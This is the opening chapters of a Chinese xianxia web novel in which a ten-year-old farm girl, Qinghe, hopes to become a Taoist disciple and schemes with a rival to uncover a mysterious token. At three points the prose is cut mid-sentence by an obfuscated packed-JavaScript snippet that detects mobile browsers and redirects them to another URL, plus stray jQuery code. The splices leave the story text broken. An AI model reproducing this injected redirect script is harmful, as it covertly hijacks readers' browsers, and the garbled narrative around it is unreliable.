《青禾道》 1. 春回 三月里的春季正是寒风乍转暖,冰雪正消融的时候。 田青禾拎着鞋,裤腿挽得高高的,光着脚丫在数条潺潺流动的小溪间跳跃。 山上的积雪融化,顺着岩石沟壑流下,在山脚下的平坦草地上汇集成许多条细细的、只有一两尺宽的水流。清澈的溪水裹挟着晶莹的碎冰片泠泠作响,寒意渐消的日光散入其中,又被粼粼水波温柔地送回,覆到嫩芽新发的老树,覆到奇峻陡峭的山壁,覆到小姑娘的粗布麻衣上。 青禾踮着脚尖,龇牙咧嘴地趟过冰凉沁人的水流,仔细地在春回万物生的大地上找寻着可入口的野菜。 旧年枯黄死去的干草裹着嫩绿的草叶轻轻挠着小姑娘冻得通红肿胀的脚底心,青禾不得不一次又一次轮换着脚金鸡独立,两手使劲搓揉着麻痒痛的脚掌。 好在她动作麻利,很快就装满一藤筐子的野菜。 青禾找了一处干燥的草地,背对着山石席地而坐,喜滋滋地扒拉着自己的劳动成果,婆婆丁、地米菜、山苜蓿……她抓了把最嫩的,放进溪水里把泥巴冲洗干净,塞进嘴里。 脆嫩的口感带着点点涩味弥漫在唇齿间,青禾枕着手臂,翘着二郎腿,舒服地眯着眼睛望天。 天空湛蓝无云,偶有几只鹰隼鸣叫着飞翔而过,延绵的大山也好像从沉重漫长的睡眠中醒来,朦胧地睁开眼睛,于是沉沉暗绿间升起袅袅新翠,勃勃生机弥漫开来。 春天就是好呀,能找到越来越多的好吃,小姑娘开心地盘算着,再暖和点,自己要跟着瑛姐儿一起进山瞧瞧,说不准能抓点什么野味,不求打狼猎虎,抓点山鸡呀,兔子啊什么的,她都不嫌弃呢。 畅想够了,青禾背着藤筐回家。 推开柴门,正见着弟弟青苗领着妹妹青穗打扫院子和鸡舍。一见大姐回来了,两人把大扫帚一丢,眼睛亮晶晶地围了过来。 “爹娘去地里了?”青禾把背篓递给弟弟妹妹,随口问道。 两个小孩随口嗯嗯着,抱着冒尖的大藤筐欢天喜地往屋子里去,显见注意力已经全部被鲜嫩的野菜吸引住了。 “别光顾着吃,你俩把菜择好,中午我要做菜粥。” 回复她的是两个小孩拉长的嬉笑声间响亮的一声“知道啦!” 她重新捡起扫帚开始收尾工作,将鸡粪收拾到院子偏僻的一角,打算过几天种青菜的时候当肥料。看了看鸡食槽该添粮了,又抓了几把稗子和胡豆撒进去,“咕咕咕,大红,小灰,黄黄,快过来吃饭。” 打头的一公二母三只鸡领着四五只略小的鸡冲过来干饭。 青禾仔细观察鸡群的干饭模样,确认没有一只蔫吧,才放心地挑着水桶,哼着轻快的小曲去村口的水井打水。 井边正有几个村民也在打水,青禾走近笑盈盈地一一打过招呼,在队伍最末尾等着。 离她最近的周大娘满面笑容地招呼着:“青禾呀,你又自己来打水,啧啧,别看我们青禾是个十岁小姑娘,这身板真壮实,力气大手脚又麻利,哎呀,以后不知道要便宜哪家去了,要我说不如以后到周大娘家里来,大娘呀一定拿你当亲闺女疼。” 旁人笑道:“周婶子,你家男娃才五岁啊!你着什么急呀!” 周大娘头一撇,掐着腰,“青禾丫头模样好,干活利索,我不早点打算,哪还轮得到我们家,你不知道,女大三抱金砖,越大越好哇!” 青禾干笑着在众人的哄笑声中飞快打完水,好不容易拒绝了周大娘硬塞过来的枣糕,狼狈地往家里赶。 快到晌午,她动作麻利地做好一锅菜粥,四个馍馍。馍馍是给下地的爹娘吃的,播种劳累,得吃干的才能顶住,几个小孩子不做什么重活喝点稀的就行。 青禾几口解决了自己那碗粥,挎着饭篮子出门,嘱咐着弟妹把锅碗洗刷干净。她没走最近的路,特意绕开周大娘的家,深恐对方又窜出来要给她塞吃的。 周大娘为人率真豪爽,家里每个月还能吃上回肉,家风也正,如果青禾只是个普普通通想要嫁汉吃饭的小姑娘,周家确实是个不错的选择。 可青禾不是。 四季山下四季村,四季村有正明观。 观内仙人镇邪魔,护得山间一片安。 青禾的梦想,是拜师正明观妙清观主,成为一个会仙术的小道士。 她曾经跟爹娘念叨过,她娘叹气道:“想进正明观,这可不容易。妙清观主是有真神通的仙人,可不是什么江湖骗子,人人都想拜入她门下,她凭什么会选你呢?”她娘示意小姑娘自己看看,她们家就是最普通不过的农户。 他爹也说:“虽然妙清观主确实是从咱们四季村里出来的,但十几年前不知为啥,道观从村子里迁出去了五六里远,难保不是村里什么人得罪了观主,这可更是难啊。” 青禾噘着嘴不回话,心里想着,确实人人都想入道观,可观主就是打哈哈不松口,也只有她几年来风雨无阻地去给观里干活。其他人看没机会可捞,除了求医问事,都不怎么来,观主看到她还总摸她的头,和颜悦色地夸她是好孩子呢。 哦,对了,还有隔壁黑石村那个小地主家的大小姐谢久安总在观主眼前晃悠,这是个强劲对手,虽然她不干活,可他家时不时地给观里捐钱呐! 爹娘对她总往观里跑的行为不置可否,别耽误家里的活计就行。 青禾送完饭,抚摸了几下田边休息吃草料的大黄牛,又一溜烟儿地往正明观跑。 五六里的路程对于壮得跟头小牛犊似的青禾来说并不算什么,她像踩了风火轮急吼吼地跑了过去。 “观主!”青禾兴冲冲地跑进观里,对着在树下坐着打瞌睡的妙清观主气喘吁吁地行礼。 “观主,外头风还有些凉,怎么不去屋子里睡?” 满头银发、睡眼朦胧地老太太和蔼地对着青禾笑了笑,“唔,我这可不是睡觉,春意满乾坤,正是感悟大道变化的好时机,我在观想天地呢。” 她瞅着青禾红扑扑的小脸蛋,笑眯眯地指了指石桌上茶炉上温着的茶水,示意青禾去喝。 小姑娘看着观主脸上靠在树干压出的红痕,也不反驳,牛饮一番,砸吧砸吧嘴感受了下淡淡的茶香。 她四处瞅瞅,发现讨厌的竞争对手没来,也没什么村民来求教,今天自己能和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042899|178857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 观主单独相处,便美滋滋道:“观主,我今天来给院子地里除草啊。” 妙清观主毫不在意形象地在青禾面前伸了个懒腰,慢吞吞道:“好,辛苦你了,好孩子。” “不辛苦,不辛苦。”青禾转头就喊:“小六哥,麻烦你从屋里把锄头镰刀拿给我。” 妙清摆摆手,“小六呀,实在没慧根,跟他老子娘回去了。你直接进屋自己拿吧。” 小姑娘怔了怔,小六是正明观唯一的道童,据说是有一年病得快死了,被观主妙手回春救了回来,为了报答观主留下来当了道童,说要一辈子伺候观主。没想到这才四五年就回去了。 “是我劝他回去的,他的恩已经报完了,与正明观缘分已尽,是该回去过自己的日子了。” 青禾听了暗喜不已,自己岂不是更有机会了,这么大的道观,总不能连个打杂的人都没有吧,事事都让观主来,那像什么样子。 妙清假装没看见青禾闪闪发光的大眼睛,身体重新靠在树上,头一歪,又观想天地去了。 小姑娘也不气馁,照旧高高兴兴地挥舞着锄头松土、除草。不到一个时辰干完了,想一想又在药房里检查哪些观主常用的药材少了些,扒拉出来对应的种子,种进地里。 她想浇水,发现观里的水缸也见底了,正准备打水,被悠悠醒来的妙清叫住。 “不忙,不忙,今儿个天气晴朗,万物生发,灵气蒸腾。我刚刚修行有获,正该施展一番才好。让我来给它们添补点灵力滋养。” 青禾用力点头“嗯嗯”,激动地握着拳头在一旁候着。 观主又要施展仙术了! 妙清观主曾说仙凡有别,即使入红尘历练的缘故不能完全与凡人隔绝开,也要注意分寸。凡间小世界抵挡不住仙术一次次的灵波涤荡,能少用尽量少用,需等机缘。 因此一年来,甚少见到观主施展神通,今天碰巧机缘来了,青禾雀跃得恨不得一蹦三尺高。 妙清站到菜地边,深吸了口气,垂首闭目,两手交叠于胸前静立。 一阵微风徐徐吹过,几缕散乱的银发轻轻拂动,折射出一点耀目的金光。磨损厉害的麻布袖口下,一双苍老却有力的手缓缓伸出。 一声轻喝,妙清猛地睁开精光四射的双眼,双手随即打出一连串让人眼花缭乱的手诀,一团雾气蒙蒙的光晕自她手掌中升起,最后随着她双手猛然一按,突然爆裂开,迅猛地四散出去。 青禾只感到刚才的微风忽然强劲又消失,脸上、手上霎时间感到一股毛绒绒的湿意。 春风化雨诀! 两手揣进叠着层层补丁的袖口,妙清慢悠悠地坐回树下,给自己倒了杯清茶有滋有味地喝着。 小姑娘还处在兴奋中,她看着菜地上空明明没有任何东西,却无端下起来一片小雨,淅沥淅沥地,刚好笼住菜地,多一分不多,少一分不少。 一片阳光映入,菜地上空起了一座小小的彩虹桥。 她忍不住用力嗅着清新舒爽的空气,一双手也伸进雨幕里。 “哇!好漂亮!观主施展仙术啦!”门口传来小女孩惊叹的声音。 2. 伏虎令 穿着淡粉色的细绸衣裙的小姑娘在道观门口规规矩矩地向妙清观主行礼。 “观主,您这手仙术真真神妙非凡啊,久安每次见到都要为此仙迹心折!”小姑娘扑闪着一双水汪汪的大眼睛,双手握拳靠在胸前,一副心向往之、陶醉不已的模样。 谢久安。 青禾暗暗磨牙。 还以为她今天不会来呢。 她看着观主同样笑眯眯地招呼着对方,赶忙大声问到:“观主,我把菜地收拾完了,观里还有什么事情是我可以帮忙的吗?” 门口的两人回头望着她,谢久安偷偷白了青禾一眼。 青禾假装没看见,一脸期待的表情望向妙清观主,仿佛是在等着一件让人非常开心的事情。 “那就麻烦青禾帮我整理整理藏书阁吧,打扫打扫灰尘,再看看有哪些书被虫子蛀了需要修补,哪些书页潮湿需要晾晒。” “好嘞!” 青禾得了命令就往书阁跑去。 谢久安听到是整理书籍而不是什么其他辛苦脏累的活计,赶忙也表态:“观主,青禾妹妹刚刚做了重活,我怕她现在心有余力不足,不如我也去帮忙?” 妙清点点头。 于是,她也快步追了上去。 “哼,你倒是会讨巧。脏活累活你推脱,这样的事你倒献殷勤,你当观主看不出来啊!” 青禾气鼓鼓地抱怨。 “呵,你管得着吗,观主可一直对我和颜悦色得很呢。”谢久安仰着一张白玉般的小脸,慢悠悠地挑衅。 “有几个臭钱就了不起啊!那你别跟在我身后!”小姑娘炸毛。 “嘻嘻,就跟就跟,我就要跟在你身后!” 青禾开始小跑,谢久安猛地扑倒她背后,两只手箍着她的肩膀。 “嘿诶,甩不掉我了吧!” 两个小姑娘你推我挡,手上挥舞得热闹,声音却放得轻轻,默契地注意分寸,不打扰观里安宁。 只是一心二用,精力用得飞快,两人马上都气喘吁吁,青禾用力挣了一下,发现根本没办法甩掉这个狗皮膏药,只能半背半拖着谢久安,跌跌撞撞地走。 “谢久安,你是猪吗?两天不见,你又胖了!快起开,我要被你压死了!” “哼哼,敢说我是猪!一会有好东西,你可别看啊。” “什么什么,有好东西?!” “那肯定的啊,我谢大小姐一出手,天下什么珍奇异宝不手到擒来?” 青禾一听,也不嫌弃对方累赘了,拖着得意洋洋的谢久安速度飞快的钻进藏书阁。 “咳咳咳,咳咳咳!” 刚一打开门,小姑娘们就被空气中飞舞的灰尘呛了一嗓子。 “妈呀,从你半年前打扫完藏经阁后,这里肯定再没人进来收拾过,咳咳咳,太脏了!” 谢久安红着眼睛,一只手捂着鼻子,一只手从怀里掏出两条汗巾,赶紧给自己和青禾围住口鼻。 有了汗巾挡着,两人总算不再咳嗽,她俩涕泪横流地互相看看对方,异口同声地说:“观主真是太懒了!” 两人赶紧将门窗都打开,打水、掸灰、扫地、擦洗桌椅书架。大半个时辰过去了,好不容易将藏书阁收拾得像样子一点了。 谢久安一屁股坐在地上,喘着粗气道:“早知道这么脏,我就不跟观主请缨了。” 青禾翻了个白眼,她倒是不怎么累,抽出张椅子坐下,也不忙着接着整理书籍。 “什么宝贝,你这么着急炫耀?” “嘿嘿,你看!” 谢久安从袖袋里掏出一块半个巴掌大小的令牌,黑铁质地,正面雕刻着古朴玄奥的花纹,背面是两个笔画繁复的大字。 青禾不认识,她从观主那里学习认字,才把千字文百家姓认全呢。这两个字一看就不是平常学习的文字,大概率是什么古文字。 果然,谢久安又嘚瑟起来了,“不知道吧,好吧,本大小姐就大发慈悲地告诉你,这是古篆文,伏虎。此乃上古流传下来的伏虎令!” “伏虎令?好霸气的名字!这是干什么用的?你哪来的?”青禾好奇起来。 虽说谢久安是富家小姐,但毕竟是个小女孩,真正的好东西是不会在她手里,她爹谢三求会紧紧看在眼皮子底下,不让任何人染指。 可这伏虎令看起来确实不像是什么便宜货。 谢久安将令牌扔到仍旧好奇不已的青禾怀里,背着小手,摇头晃脑、步履悠悠地在房间里晃荡。 “只能说本大小姐英明神武足智多谋!前几天,我爹娘在青牛镇买布料时遇到了返乡探亲的两位仙长。” 她炯炯有神的双眼盯着青禾:“你知道洄水观吗?” “好像听说过?”青禾努力回想。 “方圆五十里最大的道观,还曾出过厉害的道长,被朝廷选进京城的神御司!” “哦哦!”神御司是怎么回事,青禾不太清楚,但一听去过京城,那确实很了不起。 “那两位仙长就是从洄水观里出来的!” “哇哦!”青禾配合地惊叹,“那伏虎令怎么来的?” “你别急,听我说。前段时间,观主不是答应了我们今年会在惊蛰那日举行白虎祭,祈福施法,保佑我们今年农事顺遂吗。我爹娘为了祭典去布庄挑选衣料时谈到这件事,正巧被两位仙长听到,顺口问了几句,一来二去就熟悉了。” 肯定是谢老爷看人家身份不凡,死皮赖脸跟对方套近乎,咦哟,他最会这一套,不过幸好观主不理会。青禾腹诽着。 “我爹娘一问才知他二老要探的亲竟然是我们家以前的老邻居,这可缘分大了去!于是我爹就软磨硬泡,咳咳,我是说仙长一看和我家挺有缘的,就来做客了。” 她觑着青禾,看对方依然听着津津有味,没在意她的口误,才继续滔滔不绝。 “我家里收藏的好多与仙人有关的书籍,仙长竟然感兴趣,查看之下,对我爹大加赞叹,说我家是仙缘匪浅,听说我求入仙门不得十分同情,虽然他二人也无法收徒,但愿意将一件通天灵宝赠与我家,助我一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042900|178857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 臂之力。” 当然与此同时她爹给出了几百两银子和三四本珍贵古籍,这些事谢久安就没提了。 “唉,青禾。”她唏嘘着,故作沉痛地拍了拍对方的肩膀,“我爹是要将通天灵宝赠与妙清观主的,看来观主首徒非我莫属了,你千万节哀啊!”说着说着,她有忍不住嘴角上扬,龇着两排大牙开始笑。 青禾抖着肩膀把她的手摔下去,“少显摆,你先成功拜师了再说!” “好吧,好吧,不刺激你了,嘴硬的小姑娘。”谢久安贱兮兮地靠过来。 青禾一个灵巧的闪躲,“还说不说了,不说我干活去了!” “别呀,我说我说,你坐好!”她按着青禾重新坐回椅子。 “后来两位仙长又在我家住了几天,期间那位年纪小一点的仙长说要去集市逛逛,他说我们村子历史悠久,他想去看看能不能淘到有用的旧物。” “于是你偷偷跟在他身后?!”青禾惊呼! “聪明!没想到你还挺了解我的嘛!我跟在他身后捡漏!” 青禾无语,“你就不怕被发现!那可是仙长!” “哼哼,我当然考虑到这一点了!据我那几天观察,这位小仙长法术好像不怎么灵通,就比我们普通人强一点点,集市那么多人,我小心点就不会被发现。” 小姑娘洋洋得意,似乎很想得到同伴的夸奖。 青禾努努嘴,表示自己才不会夸她,谢久安轻哼了声。 “我只是碰碰运气,没想到真有东西能入仙长的眼,他在一个老妪的摊子前流连许久,买了不少东西,最后钱没带够,只好舍弃了几件。我等他走远,就悄悄过去,从他不要的那几件里一眼就看中这个令牌!” 谢家小姑娘撅了噘嘴,“那个婆婆卖得太贵了,这个令牌足足要了我三两银子!身上的钱差点没够。” “也就是说,”青禾一只手搓了搓下巴,慢吞吞地说道,“你是捡了人家不要的破烂?” 谢久安气歪了脸。 “什么叫不要的破烂!你看看这做工!这质地!明显就是古物!怎么可能是破烂!” “好吧,那就当是宝贝,你找我炫耀够了?该干活了吧?”青禾无所谓地耸耸肩,撸起袖子准备干活。 “等下啦,我还没讲完。这个令牌是个好东西,但我不知道怎么用,在家里翻遍了书也没找到线索,所以……” 她讨好地凑过来,两根手指头轻轻夹住转身过去的小姑娘的衣角,黏腻腻地说:“好青禾,我的好姐妹,帮帮我呗?咱俩一起翻翻道观里的书看看有没有线索?” 青禾心里暗爽,头高高扬起,一副我不太感兴趣的臭屁模样。 “我发誓只要青禾你帮了我的忙,无论结果如何,伏虎令都有一半归你!” 青禾听了嗖一声转过身子来,“一言为定!” 谢久安冲对方扮了个鬼脸,“不见兔子不撒鹰的臭青禾!” 两个小姑娘掐着腰站在一排排书架前,几乎同时哀叹,“这要找到什么时候啊!” 3. 计划 “我们不能像瞎眼耗子一样蒙头乱找,不然这么多的书,下半辈子也看不完。”青禾一脸严肃道,“我们先找一找大的分类,看看都有什么书,细分之后再找。” 谢久安赞同地点点头。 然而理想很美好,现实很残酷。 两个女孩呆滞地看着各个书架上杂乱无章、没有任何规律摆放的书籍,无语凝噎。 良久,久安幽幽说道:“青禾,你以前收拾藏书阁的时候,是不是压根没管过这些书。” 青禾干笑。 “看你平时在观主面前那献殷勤的劲儿,我还真以为你勤劳能干,不怕吃苦不怕累,原来是外憨内奸啊。”她脸颊气鼓鼓的,“亏我爹还总拿我与你比较,一个劲地埋怨我懒,我真是冤死了!” 青禾不服:“这么大的地方,我一个人怎么收拾得过来,再说谁想到这些书是这么个摆放法。”她之前只顾着清扫、擦拭,从来没正眼看过书架的状况。 两个女孩彼此不甘示弱地大眼瞪小眼一会,谢久安突然右手握拳捶到左掌上。 “我懂了!看来这是就是我们得道升仙的第一步!” “哈?” “我看过很多话本,里面主人公大都是在各式各样没人在意的地方得到厉害的仙人传承或者神奇的宝物,然后一路斩妖除魔,立地飞升!想来万般头绪没有地找线索就是天道对我们的第一个考验!来吧!青禾,是时候展现我们俩的逆天时运!” 青禾嘴角抽搐,看着突然打了鸡血似的谢久安一头扎进无边书海里,将嘴边一句:“万一我们运气很差呢!”咽进肚子里,无奈地跟着一起翻找。 毕竟也确实没什么办法了,总不能去找观主吧。 咦,对哦,她们为什么不去找观主求助呢? 青禾直起身体沉思。 她想到了谢久安之前分享给她的话本,一般这种情况好像确实没有哪个主人公求助师长的,都是自己偷偷修炼,然后某一天大展神威、惊艳众人的。 好东西人人都想要,可机缘就那么点,万一惹上杀身之祸……只是杀青禾自己还好说,大不了就跑,但要是祸及全家,甚至村子…… 她抖了下,修仙是她自己的事情,无论如何不能连累亲朋好友,不能向别人求助。 如果通过自己的努力修仙成功了呢? 青禾幻想了下自己得到仙人传承,然后白日飞升,父母亲人以及妙清观主震惊地仰望着她。 她血脉喷张,怀抱着最积极热情的心态扑向了书堆。 两个小姑娘在书海里遨游了大半个下午,头晕眼花地终于找出十来本看起来有用的。 《大周仙迹略见》、《庞氏散修传》、《古今奇闻录》……《成为仙人后我霸气侧漏》、《戏说魔尊追妻》…… 青禾拎着最后两本书,斜眼看对方:“这也算?” 久安双手背到身后,一本正经:“博学多闻知道不,什么样的书都要看一看,书中自有黄金屋,书中自有颜如玉,万一就在这种书上有线索呢?” “行吧。”青禾也不争辩,“抓紧时间看,我还要回去做晚饭呢。” 这次可就轻松了点,她俩也不通篇览阅,只找着“伏虎令”这三个字,但凡和其中一个字沾边的,就要惊呼起来喊对方看。 像两只勤勤恳恳的小蚂蚁,埋头啃书,时不时还要用触角碰一碰,交换下信息。 一一找寻后,完全对得上伏虎令的词语没有,但相关的内容让她俩涨了不少见识,看着看着竟然自己琢磨起来。 青禾左手摸着下巴若有所思:“令牌一般用来表明身份的,上面覆着仙术的还可以命令臣服的属下。” 久安在她对面同样面露思索,右手托着脸颊:“虎乃山中之王,连虎都能降服,说明令牌很厉害啊。” “我懂了!”青禾击掌。 “定然是很久以前,骑着白虎的仙人陨落在四季山,她的令牌被镇民无意间捡到……” “对哦,左青龙,右白虎,伏虎伏的肯定是白虎。”久安恍然大悟,接着青禾的话说:“后来她的坐骑隐藏在山林,等待着有缘人拿着令牌去寻找它、继承主人的遗物。” “然后我们就得到仙人传承了!” 两人对视着异口同声。 “怪不得我们今年要举行的白虎祭,前几年观主一直不答应呢。” “原来这就是冥冥中自有天意啊!” 更加有说服力了! 两个女孩感叹万千,没想到自己竟是传说中的天选之人。 “我们以后就是四季山双子星,注定拯救世人于水火之中。”不知道谢久安又自我脑补了什么,她突然单脚踩在椅子上,小手一挥,一派豪情。 青禾被她莫名其妙的热血打断思索,发热的脑袋冷静了一点。 “呃,我看大家过得挺好的,没看见谁需要我们拯救啊。”她还是有点理智存在。 “哎,现在不需要,没准未来需要!”,谢大小姐依然一脸自信,“我们得赶紧去去四季山啊,仙迹等着我们呢!” 想到要去四季山,青禾更加冷静了。 “我十岁,你十一岁,你确定我们两个单独去四季山?” 谢久安一脸深沉:“千难万险也阻挡不了我们。” 青禾白了她一眼:“在山脚下转转还行,真要进山,没大人领着,咱们两个给野兽送菜吗?” “冬天刚过,野兽肚子正饿着,咱们就大发慈悲地往它们嘴里跳是吧?” 谢大小姐泄气了,“那你说怎么办?” 青禾想了想:“为了在祭典上献上最新鲜的贡品,白虎祭前一天,附近村子里的猎户要联合起来进山打猎,我们就偷偷跟着他们。尽量在他们附近找找线索。我们既然是天选之人,自然会有运气在身。” 她看看垂头丧气的小伙伴,心里还有句话藏着没说。 万一没运气,那就再说,总之,最重要的要保住小命。 久安也想不到其他的办法,只能悻悻同意。 “大后天就是进山的日子,这几天我们要好好准备东西,衣服要多带一件,食水也要准备好,最好带馍馍,吃着带着都方便。我打算再带一把镰刀防身,你也别忘了带点武器,深山老林的,万一遇上点什么也能自保。我听村长说大后天卯时一刻,猎户们会在山石碑那里汇合,我们俩早一刻藏身在石碑后面等他们。”青禾安排得井井有条。 谢久安难得乖巧地听着,这些事还是青禾比较熟悉,她平时喜欢和对方呛声,但在大事上还是懂得分寸的。 两人约定好,就向观主道别,各自回家了。 天幕昏沉发暗,夕阳已过,马上要彻底黑了。 青禾有些着急,今天在正明观耽误太长时间了,不知道来不来得及赶在爹娘回来前做好晚饭。 被唠叨事小,别不让自己出门了,她还有大事要做! 匆匆赶到家门口,屋里已经点起黄豆般灯光,氤氲暗影包围着这座小小的房子,却始终侵入不进屋内。 她听见了柴火哔剥的声音。 青禾大跨步跑进院子里,却发现青苗领着青穗在厨房进进出出地忙碌着。 爹娘还没回来,她松了口气。 “姐,你回来啦。” 她摸了摸弟弟妹妹的头,“真乖,剩下的让姐姐来吧,你俩去堂屋摆好碗筷。” 两个小豆丁高高兴兴地走了,也不计较大姐回来迟了。 洗菜、煮粥。 劳累了一天,晚上可以吃得丰盛一点,她将早上就泡着的豆子放进粥里一起煮着,又小心地从架子上抱出一只陶罐,从里面夹出拳头大的一块咸菜疙瘩,细细地切成丝。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042901|178857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>刚做好饭,门口就传来人声。 爹娘回来了。 一家人热热闹闹地围坐在一起吃饭。爹娘讲着田里的事,聊着孩子们这一天都干了什么,又问青禾去道观干活顺不顺利,遇没遇到难处。 咸菜丝少,青禾爹娘吃了几口,把剩下的让给三姐弟吃了。 “爹,娘,今天我去观里,才知道小六哥回家去了。马上就是白虎祭,观里一定很忙,我抽出一天时间去帮帮观主呗?” “你呀你,我看呀你都不是咱们老田家的闺女了,是人家妙清观主生的了!”她娘怪嗔,手指点点女儿的小鼻头。 青禾嘿嘿地笑着,眨巴着黑白分明的大眼睛,巴巴地看着大人们。 “快到祭典了,咱家也得准备好贡品,你把家里囤的那几斤精细白面拿出来,好好蒸点馒头,描好花印。再领着青苗、青穗把家里收拾干净,剩下的时间随你。”她爹呼噜着一大口菜粥,瓮声瓮气地说。 “太好了!我一定把事情都做好了再去!”小姑娘欢呼! 一夜好眠。 第二天,青禾早早地起床干活。 将昨天晚上喝剩的菜粥兑了一锅水烧开,盛了五碗比水略稠点的米汤,这就是一家人的早餐。 寻常农户一天吃两顿,她家勉强凑上三顿,已经是很好的生活了。 只是米汤确实不能饱腹,青禾一口气喝完,摸摸自己并不满足的肚子,心里发誓,等我也成了仙人,一定要家里人多多吃上精米面,吃上大鱼大肉! 送走父母,她招呼着弟弟妹妹打扫屋子。趁着两个小家伙在屋里干活,青禾蹑手蹑脚地走到鸡舍里。 撒了几把食,鸡群呼啦一下全部拥到食槽边,忙着抢食,青禾看着它们没空搭理自己,赶紧跑到给鸡群保暖用的稻草垛子边,蹲下一阵翻找,果然摸出了两个蛋,刚下不久,还热乎着。 她偷藏了一个在怀里。 “今天咯咯哒又下了一个蛋!” 似乎是掩盖心虚,她故意大声喊出来。 没办法,虽然青禾和谢久安说的头头是道,但实际心里没底。只是为了表现自己的成熟可靠,她不会把担忧表现出来。 那么,她就要尽量为此多做些准备。 一个珍贵的鸡蛋也许会在危机时刻有救命的作用。 青苗和青穗很高兴地凑过来摸了摸剩下那个鸡蛋,咽了咽口水,依旧很乖巧地把鸡蛋放到篮子里。 已经攒了半筐鸡蛋,等到攒满一整筐,爹娘就要拿去镇上换钱,补贴家用。 她愧疚地摸了摸弟弟妹妹瘦小的肩膀,有些不忍,想要拿出偷藏的鸡蛋,但马上又制止住了自己。 小利换大头,她能给家里带来更多的回报,她安慰着自己。 家里有一把钝了的镰刀,没到用它的时间,它被闲置在柴房的角落。 青禾翻找出来,在磨刀石上淋些水,开始仔细磨刀。 磨刀石与刀刃发出刺耳的响声,青苗和青穗捂着耳朵躲进屋子里。 青禾的眼睛盯着手上的动作,一下又一下,一声接一声,不断重复的动作,单调的声音竟然神奇得让她躁动的心渐渐平静下来。 手上不闲,脑中也不闲,她盘算着接下来的活计。 今天中午蒸馍馍的时候,要偷偷多蒸几个给自己带着,不知道谢久安那边准备得顺不顺利,给她那份馍馍也带上,她要是自己带了,多余的就带回来还给爹娘吃,没带的话,一定让她打欠条还馍馍。 今天下午要带一碟子大酱去跟冯婶换红曲粉,明天蒸馒头前要描出花印。 后天从山里回来后还得去观主眼前晃悠晃悠,免得哪天爹娘去道观跟观主提起,让自己露馅。 …… 一桩桩,一件件,青禾将他们慢慢理顺。 真是让人又紧张又期待啊。 4. 准备 青禾拿着自制的毛笔,小心翼翼的在白白胖胖的馒头上描着花印,灶台上一碟子鲜红的红曲水已经用去了大半。 一排四个,整整五排描绘着漂亮花纹的大白馒头整齐地垒在竹篦子上,青禾满意地看着自己的劳动成果,小心地将它们放进蒸笼。 还没蒸熟,她却仿佛嗅到了香甜的粮食气息,口中不断地分泌唾液。 等祭典过完,这些贡品馒头又可以拿回来吃,据说有了法术加持的馒头会将福运传递到吃的人身上。 等祭典过后,她有幸成为仙人,一定要大吃大喝,她要把这些馒头切成薄薄的馒头片,再用油炸得金黄脆香,一顿吃它几盘子。 小姑娘蹲坐在灶门前,不断从手边柴堆抽出一根塞进灶膛,控制着火候不要过大也不要过小,过大浪费柴火,过小蒸的时间长又难吃。 温暖的灶台缓和了早春的寒意,青禾险些在这舒服的环境下睡过去,她勉强睁着眼睛,在心里默默计算着时间。算着算着,控制不住地神游天外。 仙人。 这个从青禾四岁起,就深深印刻在她脑海里的词语。 她人生头一次见到妙清观主施法。 彼时天下大旱三年。 原本以为靠着四季山泉,能不受的旱情影响的村民绝望地发现,山脉正在死去。 清泉断流,草木枯败,大片大片翠绿衰败成死寂的灰黄。 山下河床裸露,暗褐色的干燥河泥夹杂着累累白骨。 昏黄寂静的天穹笼盖着人间炼狱。 饿得匍匐在地的小青禾静静地等待着死亡降临,清晰可见的肋骨下一颗小小的心脏微弱地跳动着。 像是只有一层薄薄的人皮披盖在这具幼小的骨架上。 或许不用等到死亡,失去理智化身野兽的村人便会寻觅而来,将她当做猪仔分食。 她的父母已经没有力气保护她了。 她静静地等待着既定的命运降临,等待着,等待着…… 干枯的脸上露出一丝笑意,她在拥抱着温柔的,拂开痛苦阴影的死亡之手…… 惊雷乍响,细雨如酥。 死神被喝退,青禾猛地睁开眼,她感到一股细弱的,却又坚韧的连绵不断的力量缓缓地游走全身。 她颤颤巍巍地站了起来,不知道发生什么,仿佛有一道声音在她耳边轻轻召唤,她跌跌撞撞跑出屋外。 轻柔的细雨洒在肌肤上,没有留下一丝湿痕。 生机不断从身体深处涌现,可全被青禾忽视了,此时的她呆呆地站在光秃秃的院子里,仰头望着。 青天红日下,凭风而立的仙人衣袍翻飞,身泛金光,她左手环抱一柄玉如意,右手掐诀,无数雨丝从茫茫青团状的法诀中飘飞,飞向青禾,飞向村民,飞向大地万物。 “诸位。”仙人开口。 明明彼此相隔甚远,可青禾却觉得声音正在耳边,清晰有力,无上慈悲。 